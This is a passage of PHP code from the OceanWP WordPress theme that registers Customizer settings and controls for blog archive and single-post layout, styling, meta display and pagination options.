'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_blog_entries_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_blog_archives_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_blog_entries_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_blog_archives_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_blog_entries_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_blog_archives_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_blog_entries_rl_layout', ) ) ); /** * Blog Title Heading Tag */ $wp_customize->add_setting( 'ocean_blog_entries_heading_tag', array( 'default' => 'h2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_entries_heading_tag', array( 'label' => esc_html__( 'Heading Tag', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entries_heading_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Blog Image Overlay */ $wp_customize->add_setting( 'ocean_blog_image_overlay', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_image_overlay', array( 'label' => esc_html__( 'Add Overlay On image Hover', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_image_overlay', 'priority' => 10, ) ) ); /** * Blog Style */ $wp_customize->add_setting( 'ocean_blog_style', array( 'default' => 'large-entry', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_style', array( 'label' => esc_html__( 'Blog Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_style', 'priority' => 10, 'choices' => array( 'large-entry' => esc_html__( 'Large Image', 'oceanwp' ), 'grid-entry' => esc_html__( 'Grid', 'oceanwp' ), 'thumbnail-entry' => esc_html__( 'Thumbnail', 'oceanwp' ) ), ) ) ); /** * Blog Grid Images Size */ $wp_customize->add_setting( 'ocean_blog_grid_images_size', array( 'default' => 'medium', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_images_size', array( 'label' => esc_html__( 'Images Size', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_images_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_grid_blog_style', 'choices' => apply_filters( 'ocean_blog_grid_images_size', array( 'thumbnail' => esc_html__( 'Thumbnail', 'oceanwp' ), 'medium' => esc_html__( 'Medium', 'oceanwp' ), 'medium_large' => esc_html__( 'Medium Large', 'oceanwp' ), 'large' => esc_html__( 'Large', 'oceanwp' ), ) ), ) ) ); /** * Blog Grid Columns */ $wp_customize->add_setting( 'ocean_blog_grid_columns', array( 'default' => '2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_columns', array( 'label' => esc_html__( 'Grid Columns', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_columns', 'priority' => 10, 'active_callback' => 'oceanwp_cac_grid_blog_style', 'choices' => array( '2' => '2', '3' => '3', '4' => '4', '5' => '5', '6' => '6', ), ) ) ); /** * Blog Grid Style */ $wp_customize->add_setting( 'ocean_blog_grid_style', array( 'default' => 'fit-rows', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_style', array( 'label' => esc_html__( 'Grid Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_style', 'priority' => 10, 'active_callback' => 'oceanwp_cac_grid_blog_style', 'choices' => array( 'fit-rows' => esc_html__( 'Fit Rows', 'oceanwp' ), 'masonry' => esc_html__( 'Masonry', 'oceanwp' ), ), ) ) ); /** * Blog Grid Equal Heights */ $wp_customize->add_setting( 'ocean_blog_grid_equal_heights', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_equal_heights', array( 'label' => esc_html__( 'Equal Heights', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_equal_heights', 'priority' => 10, 'active_callback' => 'oceanwp_cac_blog_supports_equal_heights', ) ) ); /** * Blog Thumbnail Image Position */ $wp_customize->add_setting( 'ocean_blog_thumbnail_image_position', array( 'default' => 'left', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_thumbnail_image_position', array( 'label' => esc_html__( 'Image Position', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_image_position', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Vertical Position */ $wp_customize->add_setting( 'ocean_blog_thumbnail_vertical_position', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_thumbnail_vertical_position', array( 'label' => esc_html__( 'Vertical Position', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_vertical_position', 'priority' => 10, 'choices' => array( 'top' => esc_html__( 'Top', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'bottom' => esc_html__( 'Bottom', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Image Width */ $wp_customize->add_setting( 'ocean_blog_entry_image_width', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_entry_image_width', array( 'label' => esc_html__( 'Custom Image Width (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_image_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Image Height */ $wp_customize->add_setting( 'ocean_blog_entry_image_height', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_entry_image_height', array( 'label' => esc_html__( 'Custom Image Height (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_image_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Blog Thumbnail Category Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_category_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_category_color', array( 'label' => esc_html__( 'Category Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_category_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Category Hover Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_category_hover_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_category_hover_color', array( 'label' => esc_html__( 'Category Hover Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_category_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Comments Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_comments_color', array( 'transport' => 'postMessage', 'default' => '#ababab', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_comments_color', array( 'label' => esc_html__( 'Comments Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_comments_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Comments Hover Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_comments_hover_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_comments_hover_color', array( 'label' => esc_html__( 'Comments Hover Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_comments_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Date Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_date_color', array( 'transport' => 'postMessage', 'default' => '#ababab', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_date_color', array( 'label' => esc_html__( 'Date Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_date_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Excerpt Length */ $wp_customize->add_setting( 'ocean_blog_entry_excerpt_length', array( 'default' => '30', 'sanitize_callback' => false, ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_entry_excerpt_length', array( 'label' => esc_html__( 'Excerpt Length', 'oceanwp' ), 'description' => esc_html__( 'Add 500 to display full content', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_excerpt_length', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Blog Pagination Style */ $wp_customize->add_setting( 'ocean_blog_pagination_style', array( 'default' => 'standard', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_pagination_style', array( 'label' => esc_html__( 'Blog Pagination Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_pagination_style', 'priority' => 10, 'choices' => array( 'standard' => esc_html__( 'Standard', 'oceanwp' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'oceanwp' ), 'next_prev' => esc_html__( 'Next/Prev', 'oceanwp' ), ), ) ) ); /** * Infinite Scroll: Spinners Color */ $wp_customize->add_setting( 'ocean_blog_infinite_scroll_spinners_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_infinite_scroll_spinners_color', array( 'label' => esc_html__( 'Infinite Scroll: Spinners Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_infinite_scroll_spinners_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_infinite_scroll', ) ) ); /** * Infinite Scroll: Last Text */ $wp_customize->add_setting( 'ocean_blog_infinite_scroll_last_text', array( 'default' => esc_html__( 'End of content', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_infinite_scroll_last_text', array( 'label' => esc_html__( 'Infinite Scroll: Last Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_infinite_scroll_last_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_infinite_scroll', ) ) ); /** * Infinite Scroll: Error Text */ $wp_customize->add_setting( 'ocean_blog_infinite_scroll_error_text', array( 'default' => esc_html__( 'No more pages to load', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_infinite_scroll_error_text', array( 'label' => esc_html__( 'Infinite Scroll: Error Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_infinite_scroll_error_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_infinite_scroll', ) ) ); /** * Blog Entries Elements Positioning */ $wp_customize->add_setting( 'ocean_blog_entry_elements_positioning', array( 'default' => array( 'featured_image', 'title', 'meta', 'content', 'read_more' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_entry_elements_positioning', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_elements_positioning', 'priority' => 10, 'choices' => oceanwp_blog_entry_elements(), 'active_callback' => 'oceanwp_cac_hasnt_thumbnail_blog_style', ) ) ); /** * Blog Entries Meta */ $wp_customize->add_setting( 'ocean_blog_entry_meta', array( 'default' => apply_filters( 'ocean_blog_meta_default', array( 'author', 'date', 'categories', 'comments' ) ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'ocean_blog_entry_meta', array( 'label' => esc_html__( 'Meta', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_meta', 'priority' => 10, 'choices' => apply_filters( 'ocean_blog_meta_choices', array( 'author' => esc_html__( 'Author', 'oceanwp' ), 'date' => esc_html__( 'Date', 'oceanwp' ), 'categories' => esc_html__( 'Categories', 'oceanwp' ), 'comments' => esc_html__( 'Comments', 'oceanwp' ), 'mod-date' => esc_html__( 'Modified Date', 'oceanwp' ), 'reading-time' => esc_html__( 'Reading Time', 'oceanwp' ), ) ), 'active_callback' => 'oceanwp_cac_hasnt_thumbnail_blog_style', ) ) ); /** * Blog Entries Meta Separator * * @since 2.0 */ $wp_customize->add_setting( 'ocean_blog_meta_separator', array( 'transport' => 'postMessage', 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_meta_separator', array( 'label' => esc_html__( 'Meta Separator', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_meta_separator', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default', 'oceanwp' ), 'modern' => esc_html__( 'Modern', 'oceanwp' ), 'stylish' => esc_html__( 'Stylish', 'oceanwp' ), 'none' => esc_html__( 'None', 'oceanwp' ), ), ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_single_post', array( 'title' => esc_html__( 'Single Post', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Single Layout */ $wp_customize->add_setting( 'ocean_blog_single_layout', array( 'default' => 'right-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_blog_single_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_blog_single_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_single_post_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_blog_single_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_single_post_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_blog_single_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_single_post_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_single_post_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_post_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_single_post_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_single_post_rl_layout', ) ) ); /** * Single Post Header Style * * @since 3.1.5 */ $wp_customize->add_setting( 'oceanwp_single_post_header_style', array( 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'oceanwp_single_post_header_style', array( 'label' => esc_html__( 'Post Title Style', 'oceanwp' ), 'description' => esc_html__( 'Post Page Title styles will not function properly with all Header styles. Please choose a Header for a Blog Post that will function best with your selected Post Page Title style.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'oceanwp_single_post_header_style', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Default', 'oceanwp' ), 'sph_style_2' => esc_html__( 'Intro', 'oceanwp' ), 'sph_style_3' => esc_html__( 'Cover', 'oceanwp' ), 'sph_style_4' => esc_html__( 'Card', 'oceanwp' ), 'sph_style_5' => esc_html__( 'Card Invert', 'oceanwp' ), 'sph_style_6' => esc_html__( 'Screen', 'oceanwp' ), 'sph_style_7' => esc_html__( 'Screen Invert', 'oceanwp' ), ), ) ) ); /** * Single post header Background Color */ $wp_customize->add_setting( 'oceanwp_single_post_header_background', array( 'transport' => 'postMessage', 'default' => '#e5e5e5', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'oceanwp_single_post_header_background', array( 'label' => esc_html__( 'Post Title Background Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_not_cover_default_style', ) ) ); $wp_customize->add_setting( 'oceanwp_single_post_header_background_cover', array( 'transport' => 'postMessage', 'default' => '#000000b3', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'oceanwp_single_post_header_background_cover', array( 'label' => esc_html__( 'Post Title Overlay Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_post_header_cover_style', ) ) ); /** * Single Post Header Meta Style * * @since 3.1.5 */ $wp_customize->add_setting( 'oceanwp_single_post_header_meta_style', array( 'default' => 'spm_style_2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'oceanwp_single_post_header_meta_style', array( 'label' => esc_html__( 'Post Title Meta Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'oceanwp_single_post_header_meta_style', 'priority' => 10, 'choices' => array( 'spm_style_2' => esc_html__( 'Minimal', 'oceanwp' ), 'spm_style_3' => esc_html__( 'Stylish', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ) ) ); /** * Single Post Header Meta Style Separator * * @since 3.1.5 */ $wp_customize->add_setting( 'oceanwp_single_post_header_meta_separator', array( 'default' => 'stylish', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'oceanwp_single_post_header_meta_separator', array( 'label' => esc_html__( 'Post Title Meta Separator', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'oceanwp_single_post_header_meta_separator', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'classic' => esc_html__( 'Classic', 'oceanwp' ), 'stylish' => esc_html__( 'Stylish', 'oceanwp' ), 'modern' => esc_html__( 'Modern', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ) ) ); $wp_customize->add_setting( 'oceanwp_single_post_meta_icon_clr', array( 'transport' => 'postMessage', 'default' => '#000', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'oceanwp_single_post_meta_icon_clr', array( 'label' => esc_html__( 'Meta Icon Color', 'oceanwp' ), 'section' => 'ocean_single_post', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_post_meta_stylish', ) ) ); /** * Blog Single Header Meta */ $wp_customize->add_setting( 'oceanwp_blog_single_header_meta', array( 'default' => array( 'author', 'date', 'categories', 'comments', 'mod-date', 'reading-time', 'tags' ), 'sanitize_callback' => 'oceanwp_sanitize_multi_choices', ) ); $wp_customize->add_control( new OceanWP_Customizer_Sortable_Control( $wp_customize, 'oceanwp_blog_single_header_meta', array( 'label' => esc_html__( 'Post Title Meta', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'oceanwp_blog_single_header_meta', 'priority' => 10, 'choices' => apply_filters( 'ocean_blog_header_meta_choices', array( 'author' => esc_html__( 'Author', 'oceanwp' ), 'date' => esc_html__( 'Date', 'oceanwp' ), 'categories' => esc_html__( 'Categories', 'oceanwp' ), 'comments' => esc_html__( 'Comments', 'oceanwp' ), 'mod-date' => esc_html__( 'Modified Date', 'oceanwp' ), 'reading-time' => esc_html__( 'Reading Time', 'oceanwp' ), 'tags' => esc_html__( 'Tags', 'oceanwp' ), ) ), 'active_callback' => 'oceanwp_cac_hasnt_default_post_header_style', ) ) ); /** * Blog Single Title Heading Tag */ $wp_customize->add_setting( 'ocean_single_post_heading_tag', array( 'default' => 'h2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_post_heading_tag', array( 'label' => esc_html__( 'Heading Tag', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_single_post_heading_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Page Header Title */ $wp_customize->add_setting( 'ocean_blog_single_page_header_title', array( 'default' => 'blog', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_page_header_title', array( 'label' => esc_html__( 'Page Header Title', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_page_header_title', 'priority' => 10, 'choices' => array( 'blog' => esc_html__( 'Blog', 'oceanwp' ), 'post-title' => esc_html__( 'Post Title', 'oceanwp' ), ), ) ) ); /** * Add Featured Image In Page Header */ $wp_customize->add_setting( 'ocean_blog_single_featured_image_title', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_featured_image_title', array( 'label' => esc_html__( 'Featured Image In Page Header', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_featured_image_title', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_default_post_header_style', ) ) ); /** * Blog Single Title/Breadcrumb Position */ $wp_customize->add_setting( 'ocean_blog_single_title_breadcrumb_position', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_single_title_breadcrumb_position', array( 'label' => esc_html__( 'Title/Breadcrumb Position', 'oceanwp' ), 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_breadcrumb_position', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', ) ) ); /** * Blog Single Page Header Background Image Position */ $wp_customize->add_setting( 'ocean_blog_single_title_bg_image_position', array( 'transport' => 'postMessage', 'default' => 'top center', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_single_title_bg_image_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_single_post', 'settings' => 'ocean_blog_single_title_bg_image_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_blog_single_title_bg_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'top left' => esc_html__( 'Top Left', 'oceanwp' ), 'top center' => esc_html__( 'Top Center', 'oceanwp' ), 'top right' => esc_html__( 'Top Right', 'oceanwp' 